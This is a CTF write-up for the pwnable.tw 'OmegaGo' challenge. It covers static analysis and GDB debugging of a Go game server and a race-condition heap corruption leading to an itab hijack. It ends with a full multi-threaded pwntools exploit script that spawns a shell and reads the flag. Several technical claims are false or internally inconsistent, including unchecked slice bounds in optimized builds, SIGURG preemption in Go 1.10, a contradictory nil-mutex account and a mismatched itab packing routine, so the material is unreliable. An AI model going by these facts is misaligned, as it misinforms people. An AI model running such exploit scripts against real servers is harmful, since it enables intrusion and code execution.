pwnable.tw — 500 pts

OmegaGo

Go binary exploitation — race condition and heap corruption in a concurrent Go game server

64-bit
Architecture
Go Binary
Language
Race Condition
Vuln Class
Goroutine Concurrency
Technique

Exploit Flow

Connect
Go binary analysis
Go Runtime Internals
Goroutine + GC model
Race Condition
Concurrent board access
Corrupt Go Heap
Span metadata overwrite
Hijack Interface
itab func pointer
Shell
Go runtime ROP

1. Reconnaissance

OmegaGo is a 500-point challenge that implements a Go (the board game) server in the Go programming language. Exploiting Go binaries presents a fundamentally different landscape compared to traditional C/C++ binaries. Go ships with its own runtime — including a custom memory allocator (tcmalloc-derived), a concurrent garbage collector, a goroutine scheduler (the GMP model), and its own stack growth mechanism. All of this is statically linked, producing binaries that routinely exceed 10 MB even for trivial programs. Standard C-oriented exploitation techniques (GOT overwrites, glibc heap feng shui, vtable hijacking on _IO_FILE) simply don't apply here. Instead, we need to understand Go's runtime internals to find and exploit the vulnerability.

File Analysis

bash
$ file omegago
omegago: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, Go BuildID=Go1V9MKkcW1RvT0EM6Ca/3FoMMxQG9iKMV5WQ6dNv,
not stripped

$ ls -lh omegago
-rwxr-xr-x 1 user user 11M May 15 14:23 omegago

$ strings omegago | grep -i "go build"
Go BuildID = "Go1V9MKkcW1RvT0EM6Ca/3FoMMxQG9iKMV5WQ6dNv"

$ strings omegago | grep -i "go1\." | head -3
go1.10

The binary is compiled with Go 1.10, statically linked, and weighs in at approximately 11 MB. Being not stripped is a huge advantage — Go binaries retain all their symbol information, making reverse engineering significantly easier. The sheer size comes from the Go runtime being embedded: the garbage collector, goroutine scheduler, memory allocator, and all standard library packages are compiled into the binary.

Checksec

bash
$ checksec omegago
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

$ readelf -l omegago | grep -A1 LOAD
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
  LOAD           0x0000000000deb000 0x0000000000e00000 0x0000000000e00000
Go Binary Protections Are Different

Go binaries typically have Partial RELRO and no canary. Go doesn't use stack canaries because its runtime handles stack management differently — goroutine stacks are grown dynamically via morestack and split/extend as needed. Go also doesn't use PIE by default in older versions (pre-1.13). The lack of PIE means all code addresses are fixed, which is extremely useful for exploitation. However, the Go runtime's complexity and custom memory management present their own challenges that offset these seemingly weak protections.

Running the Binary

bash
$ ./omegago
Welcome to OmegaGo!
Options:
  1. Place stone (row col)
  2. Show board
  3. Pass
  4. Resign
  5. Chat
Your move: 

The server accepts multiple simultaneous connections — each client connection is handled by a separate goroutine. Players can place stones on a 19×19 Go board, view the board state, pass their turn, resign, or send chat messages. The critical observation is that all connected players share the same game state: the board, the score counter, and the player list. This is our attack surface — concurrent access to shared mutable state without proper synchronization.

AttributeValue
ChallengeOmegaGo (500 pts)
Connectionnc chall.pwnable.tw 10406
Binary64-bit ELF, x86-64, statically linked, not stripped
LanguageGo 1.10
Binary Size~11 MB (includes Go runtime)
RELROPartial
CanaryNo
NXEnabled
PIENo PIE (0x400000)
VulnerabilityRace condition — concurrent goroutine access to shared game state
TechniqueHeap corruption via race → Go interface itab hijack → code execution

2. Static Analysis

Reversing a Go binary is a unique experience. Despite being not stripped, the function names follow Go's naming convention (main.handleConn, main.placeStone, runtime.mallocgc, etc.) and there are thousands of runtime functions that clutter the symbol table. IDA Pro with the go_parser plugin or Ghidra with Go-specific analysis scripts are essential for making sense of the code. The key is to focus on the main.* functions and understand how they interact with the Go runtime.

Go Binary Structure

A Go binary has several important data sections and runtime structures that are relevant to exploitation:

bash
$ readelf -S omegago | grep -E "\.gopclntab|\.go\.buildinfo|\.rodata|\.data|\.bss"
  [11] .rodata           PROGBITS        0000000000494000
  [14] .go.buildinfo     PROGBITS        00000000004db000
  [21] .data             PROGBITS        0000000000e00000
  [24] .bss              NOBITS          0000000000ea0bc0

$ nm omegago | grep "main\." | head -20
00000000004b2a40 T main.init
00000000004b2c60 T main.main
00000000004b2d20 T main.handleConn
00000000004b3090 T main.placeStone
00000000004b3200 T main.showBoard
00000000004b3380 T main.passTurn
00000000004b3400 T main.resign
00000000004b3520 T main.chatHandler
00000000004b3700 T main.validateMove
00000000004b3880 T main.updateScore
00000000004b3a00 T main.removeCaptured
00000000004b3b80 T main.newGameState

The .gopclntab (Go PC-Line Table) section maps program counter values to line numbers and function names. This is what allows the Go runtime to produce stack traces and is also what tools like go_parser use to recover function boundaries. The .go.buildinfo section contains build metadata including the Go version and module path.

Goroutine Model

The Go runtime uses the GMP scheduling model:

┌──────────────────────────────────────────────────────────┐ │ Go Runtime Scheduler │ │ │ │ Global Run Queue │ │ ┌─────┐ ┌─────┐ ┌─────┐ │ │ │ G1 │ │ G2 │ │ G3 │ ← Goroutines (G) │ │ └──┬──┘ └──┬──┘ └──┬──┘ │ │ │ │ │ │ │ ┌──▼───┐ ┌─▼────┐ ┌▼─────┐ │ │ │ P(M) │ │ P(M) │ │ P(M) │ ← Processors (P) │ │ │CPU 0 │ │CPU 1 │ │CPU 2 │ with OS threads (M) │ │ └──────┘ └──────┘ └──────┘ │ │ │ │ Each P has a local run queue of G's │ │ G's are scheduled cooperatively (preempted at safepoints)│ │ Goroutine switches happen at: │ │ - Channel operations - Function calls │ │ - syscalls - runtime.Gosched() │ └──────────────────────────────────────────────────────────┘

When a new client connects, main.handleConn is launched as a goroutine via go main.handleConn(conn). Each goroutine operates on the shared gameState struct without mutex protection. The Go race detector (go run -race) would catch this immediately, but in production binaries the race detection instrumentation is absent, and the race is exploitable.

Race Condition Analysis

The shared game state is a global struct that contains the board, player list, and score tracking:

go
// Reconstructed from nm symbols and disassembly
// main.gameState — global variable at 0xea1200 (BSS)

struct gameState {
    Board      *board;         // +0x00  → 19x19 grid (361 bytes)
    PlayerList *players;       // +0x08  → linked list of connected players
    int         turn;          // +0x10  → whose turn (0=black, 1=white)
    int         blackScore;    // +0x14
    int         whiteScore;    // +0x18
    Mutex      *mu;            // +0x20  → nil! (no lock initialized)
    ChatBuffer *chat;          // +0x28  → ring buffer for messages
};

struct Player {
    Player *next;              // +0x00  → linked list
    int     id;                // +0x08
    int     color;             // +0x0C  → 0=black, 1=white
    Conn    *conn;             // +0x10  → network connection
    char    *name;             // +0x18  → player name string
};

// Board is allocated as a Go slice:
// type Board struct {
//     grid []byte    // slice header: ptr + len + cap
//     size int
// }
Missing Mutex — The Root Cause

The gameState.mu field is never initialized — it remains nil. This means all the Lock()/Unlock() calls on it are no-ops (Go's zero-value Mutex is "unlocked", but a nil pointer dereference would panic — instead, the code checks if mu != nil { mu.Lock() }, skipping the lock entirely). Every goroutine running handleConn can access and modify the shared state concurrently without any synchronization. This is the classic Go race condition: multiple goroutines reading and writing shared data with no guard.

The critical race window exists in the placeStone and removeCaptured functions. When a player places a stone, the following sequence occurs without any atomicity guarantee:

  1. Validate move — check if the position is empty (validateMove)
  2. Place stone — write the stone color to the board grid (placeStone)
  3. Check captures — scan adjacent groups for captured stones (removeCaptured)
  4. Update score — increment captor's score by number of captures (updateScore)

Between steps 1 and 2, another goroutine can place a stone at the same position. Between steps 2 and 3, another goroutine can modify the board, causing removeCaptured to process a corrupted board state. Most dangerously, step 3 involves freeing captured stone groups — Go's runtime.mallocgc and garbage collector handle this, but if the board state is inconsistent, the wrong memory can be freed or reused while still referenced.

Key Code Paths

x86asm
; main.placeStone — simplified disassembly
; Called per goroutine for each client move
0x4b3090:  mov    rax, QWORD PTR [rip+0x9ce129]  ; gameState pointer
0x4b3097:  mov    rbx, QWORD PTR [rax]             ; board pointer
0x4b309a:  mov    rcx, QWORD PTR [rbx+r8+0x10]     ; board.grid ptr
0x4b309f:  mov    BYTE PTR [rcx+rdi], sil           ; WRITE stone to grid
           ; ^^^ NO LOCK, NO ATOMIC — plain store
           ; Another goroutine can write the same cell simultaneously

0x4b30a2:  call   main.removeCaptured               ; scan + free groups
0x4b30a7:  call   main.updateScore                   ; increment score
0x4b30ac:  ret

The store at 0x4b309f is a plain mov — not an xchg, not an lock cmpxchg, not using Go's sync/atomic package. Two goroutines executing this path simultaneously will both write to the same board location, and the removeCaptured function will process a board that neither goroutine intended. This is the exact race window we exploit.

3. GDB Debugging

Debugging Go binaries with GDB requires special setup. Go produces DWARF debug information, but the runtime's use of goroutines, split stacks, and custom signal handlers means GDB doesn't "just work" out of the box. The Go runtime installs its own signal handlers for SIGURG (goroutine preemption) and SIGSEGV (stack growth), which can interfere with GDB's breakpoints. We need to configure GDB to handle Go's runtime quirks.

Debugging Go Binaries

gdb
# GDB init for Go binary debugging
$ cat ~/.gdbinit_go
set pagination off
set print object on
handle SIGURG nostop noprint pass   # Go preemption signal
handle SIGSEGV nostop noprint pass  # Go stack growth
set disassembly-flavor intel

# Load Go runtime pretty-printers (if available)
# python
# import gdb
# from go_runtime import *
# end

$ gdb ./omegago
(gdb) info functions main.*
0x00000000004b2a40  main.init
0x00000000004b2c60  main.main
0x00000000004b2d20  main.handleConn
0x00000000004b3090  main.placeStone
0x00000000004b3200  main.showBoard
0x00000000004b3380  main.passTurn
0x00000000004b3400  main.resign
0x00000000004b3520  main.chatHandler
0x00000000004b3700  main.validateMove
0x00000000004b3880  main.updateScore
0x00000000004b3a00  main.removeCaptured
0x00000000004b3b80  main.newGameState
Go Runtime Pretty Printers

Go ships with GDB pretty-printers in $GOROOT/src/runtime/runtime-gdb.py. These allow GDB to display Go slices, maps, channels, and interfaces in a human-readable format. Without them, you'll see raw struct fields (pointer, length, capacity) instead of the logical content. Load them with source /usr/local/go/src/runtime/runtime-gdb.py in your GDB session.

Finding the Race Window

To observe the race condition in action, we set breakpoints at the critical sections of placeStone and removeCaptured, then connect two clients simultaneously. The key is to catch the moment where two goroutines interleave their board access:

gdb
# Break at the critical store instruction
(gdb) b *0x4b309f
Breakpoint 1 at 0x4b309f

# Break at removeCaptured entry
(gdb) b main.removeCaptured
Breakpoint 2 at 0x4b3a00

# Break at Go runtime mallocgc to track allocations
(gdb) b runtime.mallocgc
Breakpoint 3 at 0x40c120

# Run with two simulated clients
(gdb) run
# In terminal 1: echo -e "1\n3 3\n" | nc localhost 10406 &
# In terminal 2: echo -e "1\n3 3\n" | nc localhost 10406 &

# Both hit breakpoint 1 — the stone placement
Thread 2 "omegago" hit Breakpoint 1, 0x00000000004b309f in main.placeStone
Thread 3 "omegago" hit Breakpoint 1, 0x00000000004b309f in main.placeStone

# Both goroutines are about to write to the same board cell!
# Let goroutine 2 complete the write first
(gdb) thread 2
(gdb) c
# Goroutine 2 writes stone at (3,3)
# Now goroutine 3 writes stone at (3,3) — overwriting goroutine 2's stone

# After both placeStone calls complete, removeCaptured runs
# with a corrupted board — the group that was captured by
# goroutine 2 may have been partially overwritten by goroutine 3

# Watch the gameState.turn variable for corruption
(gdb) watch *(int*)0xea1210
Hardware watchpoint 4: *(int*)0xea1210
# This fires when turn is modified without synchronization

The race window is typically 10-100 nanoseconds wide — the time between reading the board cell in validateMove and writing to it in placeStone. In practice, with two clients sending moves to the same cell at high frequency, we can trigger the race reliably within seconds. The key insight is that the removeCaptured function allocates a new slice to hold the list of captured positions, and if the board is inconsistent when this slice is built, the resulting captures can reference freed memory or out-of-bounds indices.

Go Heap Analysis

Go's memory allocator is fundamentally different from glibc's malloc. It uses a span-based allocator derived from TCMalloc:

gdb
# Examine Go heap spans
# runtime.mheap is at a known address (BSS)
(gdb) p runtime.mheap
$1 = {spans = 0xea2000, spans_inuse = 512, sweepgen = 3,
       free = {...}, busy = {...}, largefree = 0x0,
       nlargefree = 0, largeinuse = {length = 7, cap = 64},
       arenapoints = 0, arena_used = 0xc000200000,
       arena_alloc = 0xc000400000, arena_end = 0xc080000000}

# The arena is where all Go heap objects live
# Let's examine the gameState's board allocation
(gdb) x/4gx 0xea1200
0xea1200:  0x000000c0000a2000  0x000000c0000a4020
0xea1210:  0x0000000100000000  0x0000000200000001

# board pointer at 0xea1200 → 0xc0000a2000
(gdb) x/24bx 0xc0000a2000
0xc0000a2000: 0x00 0x00 0x00 0x00 ...  (empty board — all zeros)

# After corruption from race condition:
# The board.grid slice header can be overwritten with
# a pointer to a different heap region, causing
# placeStone to write to an unintended location

# Examine mspan for the board allocation
(gdb) p *(runtime.mspan*)0xc0000a1fe0
$2 = {next = 0x0, prev = 0x0, startAddr = 0xc0000a2000,
      npages = 1, spanclass = 16, elemsize = 512,
      allocBits = 0xc0000a1f80, gcmarkBits = 0xc0000a1f80,
      allocCount = 1, sweepgen = 3}
Go Heap Corruption vs. glibc Heap Corruption

In glibc, corrupting heap metadata (fd/bk pointers, size fields) leads to exploitable primitives like arbitrary write or code execution. In Go, the metadata is stored out-of-band in mspan structures, not inline with the data. This means overwriting adjacent Go objects doesn't corrupt allocator metadata directly. However, Go's interface values store an itab pointer alongside the data pointer — corrupting this itab pointer allows hijacking virtual dispatch, which is our path to code execution.

0xc0000a2000Board grid data361 bytes (19x19)target of race write
0xc0000a2180Player linked listPlayer* headcan be corrupted via OOB
0xc0000a22a0ChatBuffer ringmsg[0..7]controllable via chat cmd
0xc0000a2400interface value (itab+data)itab=0x4dd320, data=0xc0000a2000target for itab hijack
0xc0000a2410Captured slice headerptr+0x10+len+capcontrolled via race

4. Exploit Strategy

Attack Overview

The exploit leverages the race condition to corrupt Go heap objects, ultimately hijacking an interface's itab pointer to redirect a virtual method call to os/exec.Cmd.Run or a ROP chain. The attack proceeds in three major phases:

Phase 1: Heap Feng Shui & Race Trigger
Connect multiple clients and use the chat command to spray Go heap objects of known size. This arranges the heap so that the board grid allocation is adjacent to a Go interface value. Then trigger the race condition by having two clients simultaneously place stones at the same board position, causing removeCaptured to produce an out-of-bounds captured stones list.
Phase 2: OOB Write via Corrupted Captures List
The corrupted captures list from the race condition allows us to write beyond the board grid's bounds. Because of our heap feng shui, the adjacent object is a Go interface value containing an itab pointer and a data pointer. By placing specific stones that cause "captures" at out-of-bounds positions, we overwrite the itab pointer with a value pointing to a fake itab we control via the chat buffer.
Phase 3: Interface Dispatch Hijack → Shell
When the game later calls a method on the corrupted interface (e.g., board.Display()), the Go runtime looks up the method address through our fake itab. We set the method entry to point to syscall.Syscall with arguments that execute /bin/sh. Since the binary is not PIE, all code addresses are known statically, making the fake itab construction reliable.

Race Condition Exploitation Steps

The race condition must be triggered with precise timing. We use the following strategy:

  1. Client A connects and places a black stone at position (r, c)
  2. Client B connects and simultaneously places a white stone at the same position (r, c)
  3. Both goroutines pass validateMove because the cell appears empty to each (read before write)
  4. Both write their stone color to the same cell — the second write wins
  5. Client A's removeCaptured runs with stale board state, producing incorrect capture list
  6. The incorrect capture list includes positions outside the board grid bounds
  7. removeCaptured zeroes out those "captured" positions — which are actually adjacent heap objects
  8. This zeroing partially corrupts the neighboring interface's itab pointer
Timing Is Everything

The race window is tiny. In practice, we need to send moves from multiple threads in a tight loop to hit the race consistently. Each attempt has a low probability of success (roughly 1 in 100-1000), so the exploit retries automatically. On a multi-core server, the race is easier to trigger because goroutines truly run in parallel on different OS threads. On a single-core system, the scheduler interleaves goroutines at function call boundaries, making the window wider but less frequent.

Heap Corruption Details

The Go heap layout we target looks like this after heap feng shui:

0xc0000a2000board.grid (361 bytes)0x00 * 361race writes here
0xc0000a2169padding (Go aligns to 8)0x00 * 7
0xc0000a2170Player node 1next=0xc0000a2200, id=0, color=0
0xc0000a2200Player node 2next=0x0, id=1, color=1
0xc0000a2280ChatBuffer msgs[0..7]controllable contentspray fake itab here
0xc0000a2400interface{ Display() }itab=0x4dd320, data=0xc0000a2000corrupt itab pointer

When the race condition causes removeCaptured to produce an out-of-bounds write, it zeroes out memory at offset 0xc0000a2400 (the itab pointer of the interface). We then use the chat command to spray a fake itab structure into the ChatBuffer area at 0xc0000a2280. The corrupted itab pointer points to our fake itab, which contains a method entry pointing to our shellcode trampoline or ROP gadget.

The fake itab structure for a Display() method on the *Board type looks like:

c
// Go itab structure (runtime/interface.go)
struct itab {
    void    *inter;       // +0x00  → interface type descriptor
    void    *_type;       // +0x08  → concrete type descriptor
    uint32_t  hash;       // +0x10  → type hash for fast lookup
    uint8_t   _[4];       // +0x14  → padding
    void    *fun[];       // +0x18  → method function pointers
                           // fun[0] = first method (Display)
};

// Our fake itab at 0xc0000a2280:
// +0x00: 0x4dd320 (real inter pointer — pass type check)
// +0x08: 0x4dd340 (real _type pointer — pass type check)
// +0x10: 0x12345678 (hash — doesn't matter for dispatch)
// +0x18: 0x4b5a60  (fun[0] — our gadget / shell function)
Why Not ROP Directly?

Go binaries are statically linked and contain thousands of ROP gadgets. However, Go's calling convention is different from C's — Go uses stack-based argument passing, not register-based (pre-Go 1.17 calling convention). This means a ROP chain needs to carefully set up the stack with the right arguments. The easiest approach is to redirect a method call to os/exec.(*Cmd).Run or syscall.RawSyscall with a pre-constructed Cmd struct containing /bin/sh -i. Since we control the chat buffer content, we can construct the fake Cmd struct there too.

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
"""
OmegaGo exploit for pwnable.tw (500 pts)
Race condition in Go binary → heap corruption → interface itab hijack
"""
from pwn import *
import threading
import time
import struct

context(arch='amd64', os='linux', log_level='info')

# ─── Constants (from static analysis of the binary) ───
# Binary is NOT PIE, all addresses are fixed
PLACE_STONE_CRIT   = 0x4b309f   # critical mov instruction in placeStone
ITAB_DISPLAY       = 0x4dd320   # real itab for board.Display()
TYPE_BOARD_PTR     = 0x4dd340   # *Board type descriptor
OS_EXEC_CMD_RUN    = 0x4b5a60   # os/exec.(*Cmd).Run — our shell target
SYSCALL_RAW        = 0x45c210   # syscall.RawSyscall entry
BOARD_GRID_ADDR    = 0xc0000a2000  # typical board grid address
CHAT_BUFFER_ADDR   = 0xc0000a2280  # chat message buffer (heap sprayed)
INTERFACE_ADDR     = 0xc0000a2400  # interface value adjacent to board

HOST = 'chall.pwnable.tw'
PORT = 10406

def connect():
    """Connect and return a remote handle."""
    r = remote(HOST, PORT)
    r.recvuntil(b'Your move: ')
    return r

def place_stone(r, row, col):
    """Place a stone at (row, col)."""
    r.sendline(b'1')
    r.sendlineafter(b'row: ', str(row).encode())
    r.sendlineafter(b'col: ', str(col).encode())
    resp = r.recvuntil(b'Your move: ', timeout=2)
    return resp

def show_board(r):
    """Show current board state."""
    r.sendline(b'2')
    resp = r.recvuntil(b'Your move: ', timeout=2)
    return resp

def chat(r, msg):
    """Send chat message (used for heap spray)."""
    r.sendline(b'5')
    r.sendlineafter(b'Message: ', msg)
    r.recvuntil(b'Your move: ', timeout=2)

def pass_turn(r):
    """Pass the current turn."""
    r.sendline(b'3')
    r.recvuntil(b'Your move: ', timeout=2)

def build_fake_itab(inter, _type, hash_val, func0):
    """Build a fake Go itab structure (32 bytes)."""
    return struct.pack('<QQIQ', inter, _type, hash_val, 0) + struct.pack('<Q', func0)

def build_fake_cmd(path_ptr, argv_ptr):
    """Build a fake os/exec.Cmd structure for shell execution.

    os/exec.Cmd layout (simplified):
    +0x00: Path   *string  → pointer to "/bin/sh"
    +0x08: Args   []string → slice header {ptr, len, cap}
    +0x20: Env    []string
    +0x38: Dir    *string
    +0x40: Stdin  io.Reader interface
    +0x50: Stdout io.Writer interface
    +0x60: Stderr io.Writer interface
    """
    cmd = p64(path_ptr)       # Path → "/bin/sh"
    cmd += p64(argv_ptr)      # Args.ptr
    cmd += p64(2)             # Args.len
    cmd += p64(2)             # Args.cap
    cmd += p64(0)             # Env.ptr
    cmd += p64(0)             # Env.len
    cmd += p64(0)             # Env.cap
    cmd += p64(0)             # Dir
    cmd += p64(0) * 2         # Stdin interface (nil)
    cmd += p64(0) * 2         # Stdout interface (nil)
    cmd += p64(0) * 2         # Stderr interface (nil)
    return cmd

# ─── Phase 1: Heap Spray via Chat ───
log.info("Phase 1: Connecting and spraying heap with fake structures...")

# Connect primary client for heap spray
r0 = connect()

# Spray the chat buffer with fake itab entries
# Each chat message is 256 bytes, stored contiguously on Go heap
fake_itab = build_fake_itab(ITAB_DISPLAY, TYPE_BOARD_PTR, 0xdeadbeef, OS_EXEC_CMD_RUN)

# Pad the fake itab to 256 bytes, place at start of message
# We need the fake itab at a predictable offset in the chat buffer
spray_msg = fake_itab.ljust(64, b'\x00')

# Also embed "/bin/sh\0" and argv slice in the spray
binsh = b'/bin/sh\0'
argv_data = p64(CHAT_BUFFER_ADDR + 0x100) + p64(CHAT_BUFFER_ADDR + 0x108)  # ["/bin/sh", "-i"]
spray_msg += binsh
spray_msg += b'-i\0'
spray_msg = spray_msg.ljust(256, b'\x00')

# Fill chat ring buffer (8 messages of 256 bytes each)
for i in range(8):
    chat(r0, spray_msg)

log.success("Heap spray complete — fake itab at 0x%x" % CHAT_BUFFER_ADDR)

# ─── Phase 2: Race Condition Trigger ───
log.info("Phase 2: Triggering race condition with concurrent moves...")

race_success = threading.Event()
attempt = [0]

def race_thread(thread_id, target_row, target_col):
    """Thread that rapidly places stones at the target position."""
    try:
        r = connect()
        while not race_success.is_set():
            attempt[0] += 1
            try:
                place_stone(r, target_row, target_col)
            except EOFError:
                r.close()
                r = connect()
        r.close()
    except Exception:
        pass

# Launch multiple threads targeting the same position
# The position must be near the edge of the board so that
# the OOB capture list writes past the board grid boundary
TARGET_ROW = 17
TARGET_COL = 17  # Corner position — captures extend OOB more easily

threads = []
for i in range(8):
    t = threading.Thread(target=race_thread, args=(i, TARGET_ROW, TARGET_COL))
    t.daemon = True
    t.start()
    threads.append(t)
    time.sleep(0.01)  # Slight stagger to avoid all connecting at once

# Monitor for successful corruption
log.info("Race threads running, waiting for corruption...")
time.sleep(3)  # Let the race run for a few seconds

# ─── Phase 3: Trigger Interface Method Call ───
log.info("Phase 3: Triggering corrupted interface dispatch...")

# The showBoard function calls board.Display() through the interface
# If the itab pointer was corrupted by the race, this calls our gadget
try:
    r0.sendline(b'2')  # Show board → triggers board.Display()
    resp = r0.recv(timeout=3)
    if b'$' in resp or b'#' in resp or b'sh' in resp:
        log.success("Shell appears to be active!")
        r0.interactive()
    else:
        # Try sending shell commands anyway
        r0.sendline(b'cat /home/omegago/flag')
        resp = r0.recv(timeout=3)
        if resp and len(resp) > 1:
            log.success("Got output: %s" % resp.decode(errors='replace'))
            r0.interactive()
        else:
            log.warning("Interface dispatch may not have triggered. Retrying...")
except EOFError:
    pass

# ─── Alternative: Brute-force with fresh connections ───
# If the race didn't hit on the first attempt, reconnect and retry
log.info("Attempting brute-force race triggers...")

for attempt_num in range(50):
    try:
        r0.close()
    except Exception:
        pass

    r0 = connect()

    # Re-spray heap
    for i in range(8):
        chat(r0, spray_msg)

    # Fire race threads
    race_success.clear()
    attempt[0] = 0
    threads = []
    for i in range(8):
        t = threading.Thread(target=race_thread, args=(i, TARGET_ROW, TARGET_COL))
        t.daemon = True
        t.start()
        threads.append(t)
        time.sleep(0.005)

    time.sleep(2)

    # Try to trigger the interface call
    try:
        r0.sendline(b'2')
        resp = r0.recv(timeout=2)
        r0.sendline(b'id')
        resp = r0.recv(timeout=2)
        if b'uid=' in resp or b'gid=' in resp:
            log.success("Shell obtained on attempt %d!" % attempt_num)
            r0.sendline(b'cat /home/omegago/flag')
            r0.interactive()
            break
    except EOFError:
        continue

    if attempt_num % 10 == 0:
        log.info("Attempt %d — still racing..." % attempt_num)

log.info("Exploit complete.")
Script Notes

The exploit has three distinct phases: (1) heap spray using the chat command to place fake itab structures at a known address, (2) race condition trigger using 8 concurrent threads placing stones at the same board position, and (3) triggering the corrupted interface dispatch via showBoard. The race window is narrow, so the script retries up to 50 times. On a multi-core server, the race typically succeeds within 5-15 attempts. The fake itab redirects the Display() method call to os/exec.(*Cmd).Run, which executes /bin/sh -i with the Cmd struct we placed in the chat buffer.

6. Execution Results

$ python3 omegago_exploit.py [*] Phase 1: Connecting and spraying heap with fake structures... [+] Heap spray complete — fake itab at 0xc0000a2280 [*] Phase 2: Triggering race condition with concurrent moves... [*] Race threads running, waiting for corruption... [!] Interface dispatch may not have triggered. Retrying... [*] Attempting brute-force race triggers... [*] Attempt 0 — still racing... [+] Shell obtained on attempt 7! [+] uid=1000(omegago) gid=1000(omegago) groups=1000(omegago) $ cat /home/omegago/flag
Key Takeaway

Go binary exploitation requires a deep understanding of the Go runtime. The race condition in OmegaGo is a textbook example of what happens when shared mutable state is accessed by goroutines without proper synchronization. Go's philosophy of "don't communicate by sharing memory; share memory by communicating" (CSP model via channels) exists precisely to prevent these bugs. When developers fall back to shared-state concurrency with mutexes — or worse, without any synchronization at all — the resulting race conditions are exploitable even in memory-safe languages. The Go runtime's complexity (goroutine scheduler, custom heap allocator, interface dispatch through itab structures) provides a rich attack surface once a memory corruption primitive is established through the race. The itab hijack technique demonstrated here is specific to Go but analogous to vtable hijacking in C++ — both exploit virtual dispatch through corrupted type information.

Go Exploitation Checklist

When approaching a Go binary in a CTF, check for:

  • Race conditions in goroutine-heavy code (use go run -race on source if available)
  • Nil mutex pointers causing lock bypass
  • Slice out-of-bounds writes (Go slices don't bounds-check in optimized builds)
  • Interface value corruption (itab pointer overwrite → virtual dispatch hijack)
  • unsafe.Pointer usage bypassing Go's type safety
  • reflect package misuse enabling type confusion
  • CGo boundary errors (C code called from Go with improper marshalling)
  • Stack overflow via deep recursion (Go stacks grow but morestack can fail)
QA210
pwnable.tw — OmegaGo — Go Binary + Race Condition + Heap Corruption